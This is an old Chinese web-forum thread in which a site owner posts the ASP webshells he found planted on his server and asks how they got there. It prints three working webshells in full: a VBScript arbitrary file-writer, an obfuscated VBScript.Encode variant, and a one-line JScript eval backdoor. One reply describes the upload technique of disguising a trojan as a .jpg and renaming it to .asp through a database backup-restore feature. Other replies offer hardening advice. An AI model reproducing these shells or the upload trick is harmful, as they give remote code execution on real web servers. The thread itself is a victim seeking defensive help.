asp 木马

[浪潮之巅]

网站被写入了如下的木马:真不知道他们是怎么写进去的.

2007082717315731990.jpg
<%Dim objFSO%>
<%Dim f%>
<%Dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("a"))<>"" then%>
<%f = request("b")%>
<%Set objCountFile=objFSO.CreateTextFile(request("a"),True)%>
<%objCountFile.Write f%>
<%if err =0 then%>
ok
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<form action='' method=post>
</font><br>
<input type=text name=a value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>" <br>
<textarea name=b ></textarea>
<input type=submit value= >
</form><form action="" method="post">

200708271643049954.jpg
<title>红狼官方专用ASP小马</title>
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^CgAAAA==[b:~K4N0/K3QMAAA==^#~@%>
<%#@~^CQAAAA==[b:~6NmYlWgMAAA==^#~@%>
<%#@~^EAAAAA==[b:~K4NmW!xDWk^+XgYAAA==^#~@%>
<%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%>
<%#@~^XwAAAA==dY~K4N0/KP{~/D-+MR^.lYG4N+mDcE?r_rm.JQEbwOJ3Ek oEQrR0EQrksJ3E/E3JH/J3JDn:r_EW(JQEN+mrQJDJ#ExwAAA==^#~@%>
<%#@~^JwAAAA==r6POMks`D;!n/D`E/H0[2mYtrb#@!@*Jr~OtxigwAAA==^#~@%>
<%#@~^GwAAAA==W9lOmP{PD;!n/D`EmH0[[mYlrbWwkAAA==^#~@%>
<%#@~^QAAAAA==dY~K4NmW!xDWk^+xW(LWdKRmMnlD+YaO0bV`.+5;/O`rdX6N2CDtJbSDD;+*dRgAAA==^#~@%>
<%#@~^GAAAAA==G(L^KE Y0bV hMkO+,0[CDlfQkAAA==^#~@%>
<%#@~^DgAAAA==r6PnMD,'!,Y4nxlAQAAA==^#~@%>
<%#@~^OQAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\PkE^mndk"@!z6GxD@*EXRMAAA==^#~@%>
<%#@~^BAAAAA==n^/nqQEAAA==^#~@%>
<%#@~^OwAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\P!xdE^^/d"@!&0KxO@*rQBQAAA==^#~@%>
<%#@~^BgAAAA==n N~b0JgIAAA==^#~@%>
<%#@~^CQAAAA==nMD 1VlDfgMAAA==^#~@%>
<%#@~^BgAAAA==n N~b0JgIAAA==^#~@%>
<%#@~^EgAAAA==G(L^KE Y0bV m^Wd+SAcAAA==^#~@%>
<%#@~^GAAAAA==dY~K4NmW!xDWk^+xxKY4r opAkAAA==^#~@%>
<%#@~^FAAAAA==dY~K4N0/KP{~xKY4k oYwcAAA==^#~@%>
<%#@~^MQAAAA==./2Kxk+RSDbO+,J@!0KDh~mmYbGx{BBEv~:Y4W['2GkY@*JdRAAAA==^#~@%>
<%#@~^SwAAAA==./2Kxk+RSDbO+,J保存文件的@!0KxO~1WVK.'M+N@*绝对路径c包括文件名l如N=-S+8-a m/2#=@!z6WUO@*JtxMAAA==^#~@%>
<%#@~^QwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'D+6D~Uls+{/z0[2mY4PSrNDtxfyP/r"'X!@*EehcAAA==^#~@%>
<%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%>
<%#@~^GAAAAA==./2Kxk+RSDbO+,J本文件绝对路径ELAYAAA==^#~@%>
<%=#@~^NgAAAA==dD-Dc:lawmOtvDn;!+dOc/+M-+M\lMrC4^+k`E/^.bwO{ C:JbbshQAAA==^#~@%>
<%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%>
<%#@~^GAAAAA==./2Kxk+RSDbO+,J输入马的内容lJZgYAAA==^#~@%>
<%#@~^UQAAAA==./2Kxk+RSDbO+,J@!Y6OCM+l,Uls+'1zWN9lDl~mGsk'0!,.WS/xqZPhr[Dtx&y@*@!zO6DlDl@*EKhsAAA==^#~@%>
<%#@~^LwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'kE4srOP7l^En'保存@*EAxAAAA==^#~@%>
<%#@~^GgAAAA==./2Kxk+RSDbO+,J@!z6W.h@*JiQgAAA==^#~@%>


2007082716395062928.jpg
<title>红狼官方专用ASP小马</title>
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^CgAAAA==[b:~K4N0/K3QMAAA==^#~@%>
<%#@~^CQAAAA==[b:~6NmYlWgMAAA==^#~@%>
<%#@~^EAAAAA==[b:~K4NmW!xDWk^+XgYAAA==^#~@%>
<%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%>
<%#@~^XwAAAA==dY~K4N0/KP{~/D-+MR^.lYG4N+mDcE?r_rm.JQEbwOJ3Ek oEQrR0EQrksJ3E/E3JH/J3JDn:r_EW(JQEN+mrQJDJ#ExwAAA==^#~@%>
<%#@~^JwAAAA==r6POMks`D;!n/D`E/H0[2mYtrb#@!@*Jr~OtxigwAAA==^#~@%>
<%#@~^GwAAAA==W9lOmP{PD;!n/D`EmH0[[mYlrbWwkAAA==^#~@%>
<%#@~^QAAAAA==dY~K4NmW!xDWk^+xW(LWdKRmMnlD+YaO0bV`.+5;/O`rdX6N2CDtJbSDD;+*dRgAAA==^#~@%>
<%#@~^GAAAAA==G(L^KE Y0bV hMkO+,0[CDlfQkAAA==^#~@%>
<%#@~^DgAAAA==r6PnMD,'!,Y4nxlAQAAA==^#~@%>
<%#@~^OQAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\PkE^mndk"@!z6GxD@*EXRMAAA==^#~@%>
<%#@~^BAAAAA==n^/nqQEAAA==^#~@%>
<%#@~^OwAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\P!xdE^^/d"@!&0KxO@*rQBQAAA==^#~@%>
<%#@~^BgAAAA==n N~b0JgIAAA==^#~@%>
<%#@~^CQAAAA==nMD 1VlDfgMAAA==^#~@%>
<%#@~^BgAAAA==n N~b0JgIAAA==^#~@%>
<%#@~^EgAAAA==G(L^KE Y0bV m^Wd+SAcAAA==^#~@%>
<%#@~^GAAAAA==dY~K4NmW!xDWk^+xxKY4r opAkAAA==^#~@%>
<%#@~^FAAAAA==dY~K4N0/KP{~xKY4k oYwcAAA==^#~@%>
<%#@~^MQAAAA==./2Kxk+RSDbO+,J@!0KDh~mmYbGx{BBEv~:Y4W['2GkY@*JdRAAAA==^#~@%>
<%#@~^SwAAAA==./2Kxk+RSDbO+,J保存文件的@!0KxO~1WVK.'M+N@*绝对路径c包括文件名l如N=-S+8-a m/2#=@!z6WUO@*JtxMAAA==^#~@%>
<%#@~^QwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'D+6D~Uls+{/z0[2mY4PSrNDtxfyP/r"'X!@*EehcAAA==^#~@%>
<%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%>
<%#@~^GAAAAA==./2Kxk+RSDbO+,J本文件绝对路径ELAYAAA==^#~@%>
<%=#@~^NgAAAA==dD-Dc:lawmOtvDn;!+dOc/+M-+M\lMrC4^+k`E/^.bwO{ C:JbbshQAAA==^#~@%>
<%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%>
<%#@~^GAAAAA==./2Kxk+RSDbO+,J输入马的内容lJZgYAAA==^#~@%>
<%#@~^UQAAAA==./2Kxk+RSDbO+,J@!Y6OCM+l,Uls+'1zWN9lDl~mGsk'0!,.WS/xqZPhr[Dtx&y@*@!zO6DlDl@*EKhsAAA==^#~@%>
<%#@~^LwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'kE4srOP7l^En'保存@*EAxAAAA==^#~@%>
<%#@~^GgAAAA==./2Kxk+RSDbO+,J@!z6W.h@*JiQgAAA==^#~@%>

2007082716495853050.jpg
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>

[ice241018]

先将木马改成后缀名为jpg格式，伪装为一张图片，然后上传到服务器上，再通过数据库备份还原功能将其还原成后缀为asp格式的木马

[hanaq82]

网站写木马的方式有很多种．具体还要看服务器的配置情况，
如果空间是买的话，那80%是你的程序有问题，这种情况下，应该是FSO权限没有设置好！

[chloe]

有可能是因为程序写的不够严谨，利用了程序或者sql的漏洞；当然也可能是系统的原因，记得经常打补丁。
欲防范，多从网上搜些安全方面的资料来看看。

[xiaolei1982]

我真是佩服这样的人，他们的利益从哪来啊

[浪潮之巅]

文件夹被人做成*.asp这个问题有没有办法解决!